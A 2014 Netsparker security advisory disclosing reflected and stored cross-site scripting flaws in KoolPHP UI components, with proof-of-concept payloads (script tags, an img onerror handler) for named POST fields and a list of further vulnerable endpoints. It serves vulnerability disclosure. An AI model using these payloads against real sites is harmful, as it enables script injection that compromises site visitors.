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Multiple XSS Vulnerabilities in KoolPHP

Information
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Advisory by Netsparker.
Name: Multiple XSS Vulnerabilities in KoolPHP
Affected Software : KoolPHP
Affected Versions: 80 and possibly below
Vendor Homepage : http://www.koolphp.net/
Vulnerability Type : Cross-site Scripting
Severity : Important
Netsparker Advisory Reference : NS-14-040

Description
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KoolPHP is a vendor of PHP User Interface (UI) components. We focus on building the featured rich yet easy-to-use components to help developers increase productivity and deliver highest quality applications within time and budget constraints.

Technical Details
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Proof of Concept URLs for XSS in KoolPHP:

http://example.com/KoolPHPSuite/Examples/KoolTabs/Advances/PostBack_On_Selection/ (POST, fields: kts_selected)
'"--></style></scRipt><scRipt>alert(0x008D03)</scRipt>

http://example.com/KoolPHPSuite/Examples/KoolTreeView/Features/Tree_Context_Menu/subnode.php?level='"--></style></scRipt><scRipt>alert(0x009381)</scRipt>&__koolajax=1

http://example.com/KoolPHPSuite/Resources/senderr.php/"onload="alert(9)

http://example.com/KoolPHPSuite/Examples/KoolUploader/Appearance/Styles/ (POST, fields: style_select)
'"--></style></scRipt><scRipt>alert(0x009A07)</scRipt>

http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/With_TreeView/index.php (POST, fields:kcb_selectedText)
</textarea><scRipt>alert(9)</scRipt>

http://example.com/KoolPHPSuite/Examples/KoolTreeView/Appearance/Styles/index.php (POST, fields: style_select)
'><iMg src=N onerror=alert(9)>

Permanent Cross-site Scripting

http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/ (POST, fields: comment_name)
'"--></style></scRipt><scRipt>alert(0x001B3B)</scRipt>

http://example.com/KoolPHPSuite/Install/index.php?step=1&err=true (POST, fields: dbhost)
<scRipt>alert(0x00A4EF)</scRipt>

http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/index.php?id=%27 (POST, fields: comment_name)
'"--></style></scRipt><scRipt>alert(0x001B3B)</scRipt>

Other URLs

http://example.com/KoolPHPSuite/Examples/KoolTabs/Features/Scrolling/index.php (POST, fields: scrolling )
http://example.com/KoolPHPSuite/Examples/KoolForm/Decoration/First_Look/ (POST, fields: selectStyle )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/With_TreeView/ (POST, fields: kcb_selectedText)
http://example.com/KoolPHPSuite/Examples/KoolImageView/Features/Effects/index.php (POST, fields: effect_select)
http://example.com/KoolPHPSuite/Examples/KoolCalendar/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/TimePicker/TimePicker_FirstLook/index.php (POST, fields: timepicker )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Appearance/Styles/index.php (POST, fields: style_select)
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DatePicker/DateFormat/index.php (POST, fields: datetimepicker )
http://example.com/KoolPHPSuite/Examples/KoolTabs/Appearance/Styles/ (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DateTimePicker/DateTimePicker_FirstLook/index.php (POST, fields: datetimepicker )
http://example.com/KoolPHPSuite/Examples/KoolTabs/Features/Alignment/index.php (POST, fields: alignmentSelect )
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/First_Look/index.php (POST, fields: country1 )
http://example.com/KoolPHPSuite/Examples/KoolSlideMenu/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolMenu/Features/Effect/ (POST, fields: effect_select )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Features/Basic_ComboBox/index.php (POST, fields: kcb_selectedText )
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/index.php (POST, fields: comment_name )
http://example.com/KoolPHPSuite/Examples/KoolTreeView/Appearance/Styles/ (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DatePicker/DatePicker_FirstLook/index.php (POST, fields: datepicker )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/AutoPostback/index.php (POST, fields: kcb_selectedText)
http://example.com/KoolPHPSuite/Examples/KoolImageView/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolListBox/Appearance/Styles/index.php (POST, fields: selectStyle )
http://example.com/KoolPHPSuite/Examples/KoolMenu/Appearance/Styles/index.php (POST, fields: style_select )

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------
27/06/2014 - First Contact
07/07/2014 - Second Contact
09/12/2014 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner.

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